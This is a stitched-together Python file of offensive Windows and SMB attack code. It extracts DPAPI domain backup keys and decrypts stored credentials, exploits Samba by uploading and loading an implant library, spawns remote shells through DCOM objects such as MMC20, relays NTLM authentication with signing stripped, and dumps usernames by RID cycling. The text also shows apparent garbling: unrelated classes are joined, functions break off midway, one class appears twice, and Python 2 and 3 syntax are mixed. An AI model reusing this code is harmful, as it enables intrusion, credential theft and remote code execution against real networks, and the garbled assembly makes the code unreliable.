lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'],
name))
keyVersion = struct.unpack('<L', secret[:4])[0]
if keyVersion == 1: # legacy key
backup_key = P_BACKUP_KEY(secret)
backupkey = backup_key['Data']
if self.options.export:
logging.debug(
"Exporting key to file {}".format(name + ".key"))
open(name + ".key", 'wb').write(backupkey)
else:
print("Legacy key:")
print("0x%s" % backupkey.hex())
print("\n")
elif keyVersion == 2: # preferred key
backup_key = PREFERRED_BACKUP_KEY(secret)
pvk = backup_key['Data'][:backup_key['KeyLength']]
cert = backup_key['Data'][
backup_key['KeyLength']:backup_key['KeyLength'] +
backup_key['CertificateLength']]
# build pvk header (PVK_MAGIC, PVK_FILE_VERSION_0, KeySpec, PVK_NO_ENCRYPT, 0, cbPvk)
header = PVK_FILE_HDR()
header['dwMagic'] = 0xb0b5f11e
header['dwVersion'] = 0
header['dwKeySpec'] = 1
header['dwEncryptType'] = 0
header['cbEncryptData'] = 0
header['cbPvk'] = backup_key['KeyLength']
backupkey_pvk = header.getData() + pvk # pvk blob
backupkey = backupkey_pvk
if self.options.export:
logging.debug(
"Exporting certificate to file {}".format(name +
".der"))
open(name + ".der", 'wb').write(cert)
logging.debug(
"Exporting private key to file {}".format(name +
".pvk"))
open(name + ".pvk", 'wb').write(backupkey)
else:
print("Preferred key:")
header.dump()
print("PRIVATEKEYBLOB:{%s}" % backupkey.hex())
print("\n")
return
elif self.options.action.upper() == 'CREDENTIAL':
fp = open(options.file, 'rb')
data = fp.read()
cred = CredentialFile(data)
blob = DPAPI_BLOB(cred['Data'])
if self.options.key is not None:
key = bytes.fromhex(self.options.key[2:])
decrypted = blob.decrypt(key)
if decrypted is not None:
creds = CREDENTIAL_BLOB(decrypted)
creds.dump()
return
else:
# Just print the data
blob.dump()
elif self.options.action.upper() == 'VAULT':
if options.vcrd is None and options.vpol is None:
print(
'You must specify either -vcrd or -vpol parameter. Type --help for more info'
)
return
if options.vcrd is not None:
fp = open(options.vcrd, 'rb')
data = fp.read()
blob = VAULT_VCRD(data)
if self.options.key is not None:
key = bytes.fromhex(self.options.key[2:])
cleartext = None
for i, entry in enumerate(blob.attributesLen):
if entry > 28:
attribute = blob.attributes[i]
if 'IV' in attribute.fields and len(
attribute['IV']) == 16:
cipher = AES.new(key,
AES.MODE_CBC,
iv=attribute['IV'])
else:
cipher = AES.new(key, AES.MODE_CBC)
cleartext = cipher.decrypt(attribute['Data'])
if cleartext is not None:
# Lookup schema Friendly Name and print if we find one
if blob['FriendlyName'].decode(
'utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS:
# Found one. Cast it and print
vault = VAULT_KNOWN_SCHEMAS[
blob['FriendlyName'].decode('utf-16le')[:-1]](
cleartext)
vault.dump()
else:
# otherwise
hexdump(cleartext)
return
else:
blob.dump()
elif options.vpol is not None:
fp = open(options.vpol, 'rb')
data = fp.read()
vpol = VAULT_VPOL(data)
vpol.dump()
if self.options.key is not None:
key = bytes.fromhex(self.options.key[2:])
blob = vpol['Blob']
data = blob.decrypt(key)
if data is not None:
keys = VAULT_VPOL_KEYS(data)
keys.dump()
return
elif self.options.action.upper() == 'UNPROTECT':
fp = open(options.file, 'rb')
data = fp.read()
blob = DPAPI_BLOB(data)
if self.options.key is not None:
key = bytes.fromhex(self.options.key[2:])
if self.options.entropy_file is not None:
fp2 = open(self.options.entropy_file, 'rb')
entropy = fp2.read()
fp2.close()
elif self.options.entropy is not None:
entropy = self.options.entropy.encode()
else:
entropy = None
decrypted = blob.decrypt(key, entropy)
if decrypted is not None:
print('Successfully decrypted data')
hexdump(decrypted)
return
else:
# Just print the data
blob.dump()
print('Cannot decrypt (specify -key or -sid whenever applicable) ')
class CSmbExploit:
def __init__(self, options):
self.hostname = options.host
self.port = options.port
self.sambaTarget = options.sambaTarget
self.sambaPort = options.sambaPort
self.module = options.module
self.username = options.username
self.sambaOld = options.sambaVersion
self.noimplant = options.noimplant
self.customBinary = options.customBinary
if self.username is None:
self.username = ""
self.password = options.password
if self.password is None:
self.password = ""
self.is_32bit = options.is_32
self.shell = options.shell
self.smb = None
def load_module(self, module):
if int(self.sambaOld) == 1:
module = '\\\PIPE\\' + module
log("Trying to load module %s" % module)
stringbinding = r'ncacn_np:%s[\pipe\%s]' % (self.sambaTarget, module)
sb = transport.DCERPCStringBinding(stringbinding)
na = sb.get_network_address()
rpctransport = transport.SMBTransport(na, filename = module, smb_connection = self.smb)
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
return True
except KeyboardInterrupt:
print "Aborted."
sys.exit(0)
except:
log("Error: %s" % str(sys.exc_info()[1]))
return False
def get_my_ip(self):
return [ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")][:1]
def get_random_name(self, total=8):
ret = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(total))
return "%s.so" % ret
def make_library(self):
if (int(self.noimplant)) or (len(self.customBinary) > 1) == 1:
log("I will keep the current binaries. No need for new compilation.")
return True
if self.hostname is None:
l = self.get_my_ip()
if len(l) == 0:
raise Exception("Cannot resolve local IP address!")
self.hostname = l[0]
with open("config.h", "wb") as f:
f.write(CONFIG_H % (self.port, self.hostname, self.shell, self.sambaOld))
log("Building libraries...")
ret = os.system("make")
return ret == 0
def try_put(self, share_name, lib_name, real_file):
with open(real_file, "rb") as f:
try:
self.smb.putFile(share_name[0], lib_name, f.read)
return True
except:
log("Error copying file: %s" % str(sys.exc_info()[1]))
return False
def get_real_library_name(self):
# XXX: TODO: Add support for non Intel based machines
if self.is_32bit:
return "libimplantx32.so"
return "libimplantx64.so"
def translate_smb_path(self, path):
pos = path.find(":")
if pos > -1:
path = path[pos+1:]
path = path.replace("\\", "/")
return path
def try_copy_library(self, lib_name):
rpctransport = transport.SMBTransport(self.smb.getRemoteName(), self.smb.getRemoteHost(),
filename=r'\srvsvc', smb_connection=self.smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrShareEnum(dce, 2)
l = []
ignore_shares = ["print$", "IPC$"]
for share in resp['InfoStruct']['ShareInfo']['Level2']['Buffer']:
share_name = share['shi2_netname'][:-1]
share_path = self.translate_smb_path(share['shi2_path'][:-1])
l.append([share_name, share_path])
# Randomize the list of shares instead of going from the first to the last
random.shuffle(l)
if len(self.customBinary) < 1:
real_file = self.get_real_library_name()
else:
real_file = self.customBinary
log("Using %s" % real_file)
for share in l:
log("Trying to copy library '%s' to share '%s'" % (lib_name, share))
if self.try_put(share, lib_name, real_file):
log("Done!")
return share[1]
return None
def do_login(self):
try:
self.smb = SMBConnection(remoteName='*SMBSERVER', remoteHost=self.sambaTarget, sess_port=int(self.sambaPort))
self.smb.login(user=self.username, password=self.password)
if self.smb.isGuestSession():
log("Using a GUEST session")
return True
except:
log("Error logging into the Samba server: %s" % str(sys.exc_info()[1]))
return False
def exploit(self):
if not self.make_library():
log("Error building library:")
return False
log("Logging into the Samba server %s:%s" % (self.sambaTarget, self.sambaPort))
if not self.do_login():
log("Cannot log into the Samba server...")
return False
lib_name = self.get_random_name()
if self.module is None:
server_directory = self.try_copy_library(lib_name)
log("Trying to copy random library %s" % lib_name)
if server_directory is None:
log("Unable to copy the payload to the target :(")
return False
self.module = "%s/%s" % (server_directory, lib_name)
else:
lib_name = self.module
return self.load_module(self.module)
def run(self, addr, silentCommand=False):
if self.__noOutput is False and silentCommand is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash)
else:
smbConnection.kerberosLogin(self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr,
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost)
try:
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
if self.__dcomObject == 'ShellWindows':
# ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
iInterface = dcom.CoCreateInstanceEx(
string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'),
IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Item', ))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams,
0, [], [])
iItem = IDispatch(
self.getInterface(
iMMC,
resp['pVarResult']['_varUnion']['pdispVal']['abData']))
resp = iItem.GetIDsOfNames(('Document', ))
resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
dispParams, 0, [], [])
pQuit = None
elif self.__dcomObject == 'ShellBrowserWindow':
# ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
iInterface = dcom.CoCreateInstanceEx(
string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'),
IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document', ))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
dispParams, 0, [], [])
pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]
elif self.__dcomObject == 'MMC20':
iInterface = dcom.CoCreateInstanceEx(
string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'),
IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document', ))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
dispParams, 0, [], [])
pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]
else:
logging.fatal('Invalid object %s' % self.__dcomObject)
return
iDocument = IDispatch(
self.getInterface(
iMMC,
resp['pVarResult']['_varUnion']['pdispVal']['abData']))
if self.__dcomObject == 'MMC20':
resp = iDocument.GetIDsOfNames(('ActiveView', ))
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
dispParams, 0, [], [])
iActiveView = IDispatch(
self.getInterface(
iMMC,
resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExecuteShellCommand = iActiveView.GetIDsOfNames(
('ExecuteShellCommand', ))[0]
self.shell = RemoteShellMMC20(
self.__share, (iMMC, pQuit),
(iActiveView, pExecuteShellCommand), smbConnection,
silentCommand)
else:
resp = iDocument.GetIDsOfNames(('Application', ))
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
dispParams, 0, [], [])
iActiveView = IDispatch(
self.getInterface(
iMMC,
resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExecuteShellCommand = iActiveView.GetIDsOfNames(
('ShellExecute', ))[0]
self.shell = RemoteShell(self.__share, (iMMC, pQuit),
(iActiveView, pExecuteShellCommand),
smbConnection, silentCommand)
if self.__command != ' ':
try:
self.shell.onecmd(self.__command)
except TypeError:
if not silentCommand:
raise
if self.shell is not None:
self.shell.do_exit('')
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
if self.shell is not None:
self.shell.do_exit('')
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
class SMBRelayClient(ProtocolClient):
PLUGIN_NAME = "SMB"
def __init__(self,
serverConfig,
target,
targetPort=445,
extendedSecurity=True):
ProtocolClient.__init__(self, serverConfig, target, targetPort,
extendedSecurity)
self.extendedSecurity = extendedSecurity
self.domainIp = None
self.machineAccount = None
self.machineHashes = None
self.sessionData = {}
self.keepAliveHits = 1
def keepAlive(self):
# SMB Keep Alive more or less every 5 minutes
if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
# Time to send a packet
# Just a tree connect / disconnect to avoid the session timeout
tid = self.session.connectTree('IPC$')
self.session.disconnectTree(tid)
self.keepAliveHits = 1
else:
self.keepAliveHits += 1
def killConnection(self):
if self.session is not None:
self.session.close()
self.session = None
def initConnection(self):
self.session = SMBConnection(self.targetHost,
self.targetHost,
sess_port=self.targetPort,
manualNegotiate=True)
#,preferredDialect=SMB_DIALECT)
if self.serverConfig.smb2support is True:
data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
else:
data = '\x02NT LM 0.12\x00'
if self.extendedSecurity is True:
flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
else:
flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
try:
packet = self.session.negotiateSessionWildcard(
None,
self.targetHost,
self.targetHost,
self.targetPort,
60,
self.extendedSecurity,
flags1=SMB.FLAGS1_PATHCASELESS
| SMB.FLAGS1_CANONICALIZED_PATHS,
flags2=flags2,
data=data)
except socketerror as e:
if 'reset by peer' in str(e):
if not self.serverConfig.smb2support:
LOG.error(
'SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support'
)
else:
LOG.error('SMBCLient error: Connection was reset')
else:
LOG.error('SMBCLient error: %s' % str(e))
return False
if packet[0] == '\xfe':
smbClient = MYSMB3(self.targetHost,
self.targetPort,
self.extendedSecurity,
nmbSession=self.session.getNMBServer(),
negPacket=packet)
else:
# Answer is SMB packet, sticking to SMBv1
smbClient = MYSMB(self.targetHost,
self.targetPort,
self.extendedSecurity,
nmbSession=self.session.getNMBServer(),
negPacket=packet)
self.session = SMBConnection(self.targetHost,
self.targetHost,
sess_port=self.targetPort,
existingConnection=smbClient,
manualNegotiate=True)
return True
def setUid(self, uid):
self._uid = uid
def sendNegotiate(self, negotiateMessage):
negotiate = NTLMAuthNegotiate()
negotiate.fromString(negotiateMessage)
#Remove the signing flag
negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
challenge = NTLMAuthChallenge()
if self.session.getDialect() == SMB_DIALECT:
challenge.fromString(self.sendNegotiatev1(negotiateMessage))
else:
challenge.fromString(self.sendNegotiatev2(negotiateMessage))
# Store the Challenge in our session data dict. It will be used by the SMB Proxy
self.sessionData['CHALLENGE_MESSAGE'] = challenge
return challenge
def sendNegotiatev2(self, negotiateMessage):
v2client = self.session.getSMBServer()
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
# Let's build a NegTokenInit with the NTLMSSP
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [
TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
]
blob['MechToken'] = str(negotiateMessage)
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
packet = v2client.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
packetID = v2client.sendSMB(packet)
ans = v2client.recvSMB(packetID)
if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
v2client._Session['SessionID'] = ans['SessionID']
sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
return respToken['ResponseToken']
return False
def sendNegotiatev1(self, negotiateMessage):
v1client = self.session.getSMBServer()
smb = NewSMBPacket()
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
# Are we required to sign SMB? If so we do it, if not we skip it
if v1client.is_signing_required():
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
sessionSetup['Parameters']['MaxBufferSize'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 1
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters'][
'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
# Let's build a NegTokenInit with the NTLMSSP
# TODO: In the future we should be able to choose different providers
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [
TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
]
blob['MechToken'] = str(negotiateMessage)
sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
sessionSetup['Parameters'].getData()
sessionSetup['Data']['SecurityBlob'] = blob.getData()
# Fake Data here, don't want to get us fingerprinted
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except Exception:
LOG.error("SessionSetup Error!")
raise
else:
# We will need to use this uid field for all future requests/responses
v1client.set_uid(smb['Uid'])
# Now we have to extract the blob to continue the auth process
sessionResponse = SMBCommand(smb['Data'][0])
sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(
sessionResponse['Parameters'])
sessionData = SMBSessionSetupAndX_Extended_Response_Data(
flags=smb['Flags2'])
sessionData['SecurityBlobLength'] = sessionParameters[
'SecurityBlobLength']
sessionData.fromString(sessionResponse['Data'])
respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
return respToken['ResponseToken']
def sendStandardSecurityAuth(self, sessionSetupData):
v1client = self.session.getSMBServer()
flags2 = v1client.get_flags()[1]
v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
if sessionSetupData['Account'] != '':
smb = NewSMBPacket()
smb['Flags1'] = 8
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Data()
sessionSetup['Parameters']['MaxBuffer'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VCNumber'] = os.getpid()
sessionSetup['Parameters'][
'SessionKey'] = v1client._dialects_parameters['SessionKey']
sessionSetup['Parameters']['AnsiPwdLength'] = len(
sessionSetupData['AnsiPwd'])
sessionSetup['Parameters']['UnicodePwdLength'] = len(
sessionSetupData['UnicodePwd'])
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE
sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
sessionSetup['Data']['Account'] = str(sessionSetupData['Account'])
sessionSetup['Data']['PrimaryDomain'] = str(
sessionSetupData['PrimaryDomain'])
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except:
return None, STATUS_LOGON_FAILURE
else:
v1client.set_uid(smb['Uid'])
return smb, STATUS_SUCCESS
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
clientResponse = None
errorCode = STATUS_ACCESS_DENIED
return clientResponse, errorCode
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
if unpack('B',
str(authenticateMessageBlob)
[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
# We need to wrap the NTLMSSP into SPNEGO
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = str(authenticateMessageBlob)
authData = respToken2.getData()
else:
authData = str(authenticateMessageBlob)
if self.session.getDialect() == SMB_DIALECT:
token, errorCode = self.sendAuthv1(authData, serverChallenge)
else:
token, errorCode = self.sendAuthv2(authData, serverChallenge)
return token, errorCode
def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
v2client = self.session.getSMBServer()
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
packet = v2client.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
# Reusing the previous structure
sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob)
sessionSetup['Buffer'] = authenticateMessageBlob
packetID = v2client.sendSMB(packet)
packet = v2client.recvSMB(packetID)
return packet, packet['Status']
def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
v1client = self.session.getSMBServer()
smb = NewSMBPacket()
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
# Are we required to sign SMB? If so we do it, if not we skip it
if v1client.is_signing_required():
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
smb['Uid'] = v1client.get_uid()
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
sessionSetup['Parameters']['MaxBufferSize'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 1
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters'][
'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
# Fake Data here, don't want to get us fingerprinted
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
sessionSetup['Parameters']['SecurityBlobLength'] = len(
authenticateMessageBlob)
sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
errorCode = smb['ErrorCode'] << 16
errorCode += smb['_reserved'] << 8
errorCode += smb['ErrorClass']
return smb, errorCode
def getStandardSecurityChallenge(self):
if self.session.getDialect() == SMB_DIALECT:
return self.session.getSMBServer().get_encryption_key()
else:
return None
class RemoteShell(cmd.Cmd):
def __init__(self, server, port, credentials, tid, fid, share, transport):
cmd.Cmd.__init__(self, False)
self.prompt = '\x08'
self.server = server
self.transferClient = None
self.tid = tid
self.fid = fid
self.credentials = credentials
self.share = share
self.pwd = os.system('pwd')
self.port = port
self.transport = transport
self.intro = '[!] Press help for extra shell commands'
def connect_transferClient(self):
#self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
self.transferClient = SMBConnection('*SMBSERVER',
self.server.getRemoteHost(),
sess_port=self.port,
preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
if self.transport.get_kerberos() is True:
self.transferClient.kerberosLogin(
user,
passwd,
domain,
lm,
nt,
aesKey,
kdcHost=self.transport.get_kdcHost(),
TGT=TGT,
TGS=TGS)
else:
self.transferClient.login(user, passwd, domain, lm, nt)
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the current directory (%s)
get {file} - downloads pathname RELATIVE to the current local dir (%s) to the current local dir
cat {remote_file} - cats txt file to stdin
edit {remote_file} - opens remote file to edit
! {cmd} - executes a local shell cmd
""" % (self.share, self.share)
self.send_data('\r\n', False)
def do_shell(self, s):
os.system(s)
self.send_data('\r\n')
def do_get(self, src_path):
try:
if self.transferClient is None:
self.connect_transferClient()
import ntpath
filename = ntpath.basename(src_path)
fh = open(filename, 'wb')
logging.info("Downloading %s\%s" % (self.share, src_path))
self.transferClient.getFile(src_path, fh.write)
fh.close()
except Exception, e:
logging.critical(str(e))
pass
self.send_data('\r\n')
class SMBAttack(Thread):
def __init__(self, config, SMBClient, username):
Thread.__init__(self)
self.daemon = True
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
else:
self.__SMBConnection = SMBClient
self.config = config
def run(self):
global getting_usernames
global got_usernames
if getting_usernames:
return
getting_usernames = True
rpctransport = transport.SMBTransport(
self.__SMBConnection.getRemoteHost(),
filename=r'\lsarpc',
smb_connection=self.__SMBConnection)
dce = rpctransport.get_dce_rpc()
maxRid = 50000
dce.connect()
dce.bind(lsat.MSRPC_UUID_LSAT)
resp = lsat.hLsarOpenPolicy2(
dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
# Get Domain Sid if we are in a domain
logging.info('Dumping usernames')
resp = lsad.hLsarQueryInformationPolicy2(
dce, policyHandle,
lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation)
in_domain = True
if resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Sid']:
domainSid = resp['PolicyInformation']['PolicyPrimaryDomainInfo'][
'Sid'].formatCanonical()
else:
# If we get an exception, maybe we aren't in a domain. Get local Sid instead
logging.info(
'Target not joined to a domain. Getting local accounts instead'
)
in_domain = False
resp = lsad.hLsarQueryInformationPolicy2(
dce, policyHandle,
lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo'][
'DomainSid'].formatCanonical()
fh = None
if self.config.outputFile:
try:
fh = open(self.config.outputFile, 'w+')
except Exception:
logging.exception('Could not open file for writing')
soFar = 0
SIMULTANEOUS = 1000
for j in range(maxRid / SIMULTANEOUS + 1):
if (maxRid - soFar) / SIMULTANEOUS == 0:
sidsToCheck = (maxRid - soFar) % SIMULTANEOUS
else:
sidsToCheck = SIMULTANEOUS
if sidsToCheck == 0:
break
sids = list()
for i in xrange(soFar, soFar + sidsToCheck):
sids.append(domainSid + '-%d' % i)
try:
lsat.hLsarLookupSids(dce, policyHandle, sids,
lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
except DCERPCException as e:
if str(e).find('STATUS_NONE_MAPPED') >= 0:
soFar += SIMULTANEOUS
continue
elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
resp = e.get_packet()
else:
raise
for n, item in enumerate(resp['TranslatedNames']['Names']):
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
line = "%d: %s\\%s (%s)" % (
soFar + n, resp['ReferencedDomains']['Domains'][
item['DomainIndex']]['Name'], item['Name'],
SID_NAME_USE.enumItems(item['Use']).name)
print(line)
if fh:
fh.write(line + '\n')
soFar += SIMULTANEOUS
if fh:
fh.close()
dce.disconnect()
if in_domain:
# Only works if we are relaying to a domain member
SAMRDump().dump(self.__SMBConnection)
got_usernames = True
class SMBRelayClient(ProtocolClient):
PLUGIN_NAME = "SMB"
def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ):
ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
self.extendedSecurity = extendedSecurity
self.domainIp = None
self.machineAccount = None
self.machineHashes = None
self.sessionData = {}
self.negotiateMessage = None
self.challengeMessage = None
self.serverChallenge = None
self.keepAliveHits = 1
def netlogonSessionKey(self, authenticateMessageBlob):
# Here we will use netlogon to get the signing session key
logging.info("Connecting to %s NETLOGON service" % self.domainIp)
respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
authenticateMessage = NTLMAuthChallengeResponse()
authenticateMessage.fromString(respToken2['ResponseToken'])
_, machineAccount = self.serverConfig.machineAccount.split('/')
domainName = authenticateMessage['domain_name'].decode('utf-16le')
try:
serverName = machineAccount[:len(machineAccount)-1]
except:
# We're in NTLMv1, not supported
return STATUS_ACCESS_DENIED
stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if len(self.serverConfig.machineHashes) > 0:
lmhash, nthash = self.serverConfig.machineHashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(nrpc.MSRPC_UUID_NRPC)
resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'12345678')
serverChallenge = resp['ServerChallenge']
if self.serverConfig.machineHashes == '':
ntHash = None
else:
ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1])
sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash)
ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)
nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00',
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00',
ppp, 0x600FFFFF)
clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)
# Now let's try to verify the security blob against the PDC
request = nrpc.NetrLogonSamLogonWithFlags()
request['LogonServer'] = '\x00'
request['ComputerName'] = serverName + '\x00'
request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
